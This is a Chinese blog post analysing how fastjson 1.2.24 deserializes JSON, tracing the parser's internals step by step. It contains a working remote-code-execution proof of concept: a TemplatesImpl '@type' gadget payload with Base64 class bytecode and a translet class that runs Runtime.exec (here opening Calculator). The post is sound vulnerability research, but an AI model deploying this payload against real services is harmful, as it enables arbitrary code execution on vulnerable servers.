fastjson 反序列化流程硬核跟踪

环境搭建

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.lisan</groupId>
<artifactId>learnfastjson</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.3</version>
</dependency>
</dependencies>

</project>

Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
/**
* Created by web on 2017/4/29.
*/
public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}

public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {

public Test() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

代码跟踪

TemplatesImpl.class的寻找

触发点,一定要传入Feature.SupportNonPublicField否则后面不会为非公有字段添加反序列化器(后面会再提到)
Alt text

步入 com.alibaba.fastjson.JSON#parseObject:181
Alt text

步入 com.alibaba.fastjson.JSON#parseObject:190
从全局来看整个反序列化将在下面parseObject进行,其大致顺序是

  1. 配置反序列化时启用的特性,比如是否允许反序列化非公有字段
  2. 获取一个json的词法分析对象parser
  3. 用parser分析传入进来的json字符串,进行反序列化。

/com/alibaba/fastjson/JSON.class:199
Alt text

先来细看DefaultJSONParser创建过程,先执行类初始化方法(略)。

然后执行对象的构造方法。
/com/alibaba/fastjson/parser/DefaultJSONParser.class:98
Alt text

执行构造方法的时候又会新建一个JSONScanner类,JSONScanner类的生成同样先是执行类初始化(略)

然后是对象父类的初始化
Alt text

子类的初始化
/com/alibaba/fastjson/parser/JSONScanner.class:28
Alt text

然后回到DefaultJSONParser中执行构造方法,需要特别说明是初始化的时候将因为传入的json是{开头,所以将token设置为了12,随着词法分析进行token进行会一直改变,token不一样意味着解析接下来json的策略也会变。token与字符的关联关系定义在com.alibaba.fastjson.parser.JSONToken
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser
Alt text

构造方法完成后意味着宏观来看的前两步也完成了,此时拿到词法分析器parser
/com/alibaba/fastjson/JSON.class:203
Alt text

接着进入从全局来看的最后一步(下面写的所有都是从最后一步展开分析)。调用parser的parseObject方法反序列化json。这里type是在写在Poc中的Object.class,这里的config是在Poc中new的ParserConfig,根据传入的类类型的不同,config会返回不同的反序列化器。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject:575
Alt text

先检查传入的type是不是(泛型)数组类型,最后又回到DefaultJSONParser的parser
com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.class#deserialze:42
Alt text

parser方法根据token的不同case到不同分支里面,开始的时候提到了,在创建DefaultJSONParser的时候token设置为了12。
com.alibaba.fastjson.parser.DefaultJSONParser.class#parse:1295
Alt text
Alt text

case 12,主要进行的操作是提去出@type对应的类,并获取到类对象即TemplatesImpl。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
Alt text
Alt text

这里将token设置为了16(意味着json合法情况下,下一个符号是逗号)
Alt text

根据TemplatesImpl类对象,寻找针对TemplatesImpl的反序列化器,之所以要找新的反序列化器是为了后续反序列化TemplatesImpl的字段。
Alt text

找TemplatesImpl.class对应的反序列化器的任务还是委托给config,但是显然config并没有专门对付TemplatesImpl的反序列化器,所以走到了最后一个if条件,即把TemplatesImpl当作一个Java Bean来看并待根据TemplatesImpl实际情况定制一个JavaBeanDeserializer。
com/alibaba/fastjson/parser/ParserConfig.class:411
Alt text

定制一个的JavaBeanDeserializer来反序列化TemplatesImpl.class

细看一下TemplatesImpl版的JavaBeanDeserializer定制过程。

一来先构建一个beaninfo
com.alibaba.fastjson.parser.ParserConfig.class#createJavaBeanDeserializer:480
Alt text

beaninfo构建的目的主要是拿到TemplatesImpl满足条件的getter、setter对应的Field和无参构造方法。获取这些办法就是常规的内省操作。
Alt text

内省重点是满足条件的getter和setter
com.alibaba.fastjson.util.JavaBeanInfo.class#build:318

  • 方法名长度大于4 && 非静态函数 && 返回类型为void或当前类 && 参数个数为1个 && 以set开头
    Alt text

com.alibaba.fastjson.util.JavaBeanInfo.class#build:458

  • 方法名长度大于等于4 && 非静态方法 && 以get开头且第4个字母为大写 && 无参数 && 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
    Alt text

找到getter setter对应的字段后,会把字段名、字段对应的方法、类对象等打包成fieldInfo并add到FieldList中
Alt text

最后用内省拿到的各种东西去构建JavaBeanInfo
com.alibaba.fastjson.util.JavaBeanInfo.class#build:480
Alt text

构建JavaBeanInfo中有一步中的操作是把FiledInfo排序,排序之后后面要用到FileList的内容直接二分法拿。
com.alibaba.fastjson.util.JavaBeanInfo#JavaBeanInfo:70
Alt text

JavaBeanInfo构建好会遍历其filedLIst查看是否有getOnly的方法,如果有的话后面就不会用asm的方法创建(对asm不了解,查网上资料是这么说的:获取java bean的属性值,需要调用反射,fastjson引入了asm的来避免反射导致的开销。)这里很不幸,getOutputProperties属于getOnly方法(至于为什么是getOnly简单跟踪一下FiledInfo创建过程就知道了,这里不再展开)
Alt text

所以这里最后会用非asm的方法创建JavaBeanDeserializer,用人话说就是直接new JavaBeanDeserializer
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer
Alt text

JavaBeanDeserializer构造方法中又把刚才拿到beaninfo的操作重复了一遍(上面已经跟过了这里也不重复跟踪)。
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.class#JavaBeanDeserializer:50
Alt text

JavaBeanDeserializer在构造方法中会为每一个Bean字段创建一个反序列化器,并把反序列化器放到sortedFieldDeserializers中
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.class#JavaBeanDeserializer:64
Alt text

这个反序列化器默认情况下是DeafultFiledDeserializer
com.alibaba.fastjson.parser.ParserConfig.class#createFieldDeserializer:565
Alt text
Alt text
Alt text

最后会把JavaBeanDeserializer的Teamplaytesimpl方法到反序列化器的序列中(如果后面其它也要用就不用重新创建一次了)
Alt text

至此JavaBeanDeserializer定制完成,下面就开始正式反序列化TemplatesImpl
Alt text

JavaBeanDeserializer.deserialze

deserialze往下跟几步会进入label1064,从宏观来看主要的操作都在label1064和其子label中,做了以下这几件事情。

  1. 创建TemplatesImpl对象
  2. 继续读取json字符串内容
  3. 用字段的反序列化器把读到内容set到TemplatesImpl对象中
    Alt text

第一步创建TemplatesImpl对象
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579
Alt text

第二步根据从json字符串读出的key,反序列化对应字段
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:606
Alt text
Alt text

往下跟的话之前设置的Feature.SupportNonPublicField.mask在这里就发挥作用了,如果没有这个在TemplatesImpl这条链中_bytecodes因为是私有字段的原因最后就不会被反序列化。SupportNonPublicField选项会把所有字段的反序列化器全部生成并放到extraFieldDeserializers中。
com.alibaba.fastjson.parser.DefaultJSONParser:747
Alt text
Alt text

第三步到了最后的时刻,好戏上演。最后一步从局部宏观来看还可再细分为三步
1.获取直接和字段值打交道的反序列化器fieldValueDeserilizer
2.反序列化拿字段对象
3.把字段对象set到object中(如果字段对象的fieldInfo是getOnly,则会反射调用getter方法,从微观来讲RCE问题出在这个地方)
Alt text

以_bytecodes为例
第一步 没啥好说的依旧通过config类获取对应的反序列化器
Alt text

第二步 fieldValueDeserilizer是ObjectArrayCodec,负责把base64编码解码
Alt text
Alt text
Alt text
Alt text

第三步 就是把拿到的值放到TemplatesImpl对象中了
Alt text
Alt text

_name,_tfactory,_outputProperties的反序列化大同小异

说法在反序列化_outputProperties的时候
Alt text

在第三步setValue的时候,因为_outputProperties是getOnly的所以进入不一样的分支,并触发它相应的get方法即getOutputProperties,最后会触发Test的无参数构造方法。
Alt text

因为本文主要想描述fastjosn的大致流程,后面和反射部分和fastjson关联性不大了,就不细跟了。不过如果细跟的话就会发现为啥payload是这么构造。(json中看似多余字段为啥要加,为啥要继承AbstractTranslet等等,说白了就是如果不这样进入不了触发无参构造器的分支)。
Alt text

杂想

弄懂整体流程,弄懂每个大流程下的小流程,弄懂流程之间参数的勾连关系。
从代码上来说,从功能来说。
从大流程上来说,从大流程中小流程来说。
套路或者说定性的规律

fastjson的黑名单

https://github.com/LeadroyaL/fastjson-blacklist

token对应表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/** 1 关联到 error */
public final static int ERROR = 1;
/** 2 关联到 int */
public final static int LITERAL_INT = 2;
/** 3 关联到 float */
public final static int LITERAL_FLOAT = 3;
/** 4 关联到 string */
public final static int LITERAL_STRING = 4;
/** 5 关联到 iso8601 */
public final static int LITERAL_ISO8601_DATE = 5;
/** 6 关联到 true */
public final static int TRUE = 6;
/** 7 关联到 false */
public final static int FALSE = 7;
/** 8 关联到 null */
public final static int NULL = 8;
/** 9 关联到 new */
public final static int NEW = 9;
/** 10 关联到 ( */
public final static int LPAREN = 10;
/** 11 关联到 ) */
public final static int RPAREN = 11;
/** 12 关联到 { */
public final static int LBRACE = 12;
/** 13 关联到 } */
public final static int RBRACE = 13;
/** 14 关联到 [ */
public final static int LBRACKET = 14;
/** 15 关联到 ] */
public final static int RBRACKET = 15;
/** 16 关联到 , */
public final static int COMMA = 16;
/** 17 关联到 : */
public final static int COLON = 17;
/** 18 关联到 ident */
public final static int IDENTIFIER = 18;
/** 19 关联到 fieldName */
public final static int FIELD_NAME = 19;
/** 20 关联到 EOF */
public final static int EOF = 20;
/** 21 关联到 Set */
public final static int SET = 21;
/** 22 关联到 TreeSet */
public final static int TREE_SET = 22;
/** 23 关联到 undefined */
public final static int UNDEFINED = 23; // undefined
/** 24 关联到 ; */
public final static int SEMI = 24;
/** 25 关联到 . */
public final static int DOT = 25;
/** 26 关联到 hex */
public final static int HEX = 26;

payload

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAMgAzAQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAQAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAXAAgAGAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

note

lexer的np代表开始位置的偏移量,bp表示结束位置的偏移量,每next一次bp就加一,sp是相较于np而言的偏移量。

参考

fastjson 远程反序列化poc的构造和分析
FastJson 反序列化学习
Fastjson 流程分析及 RCE 分析
FastJson反序列化解析流程
Fastjson反序列化漏洞 1.2.24-1.2.48
Java中Type接口与Class类的区别联系
Type 接口【重要】
秒懂 Java注解类型(@Annotation)
fastjson深度源码解析

Author

李三(cl0und)

Posted on

2019-10-02

Updated on

2020-07-11

Licensed under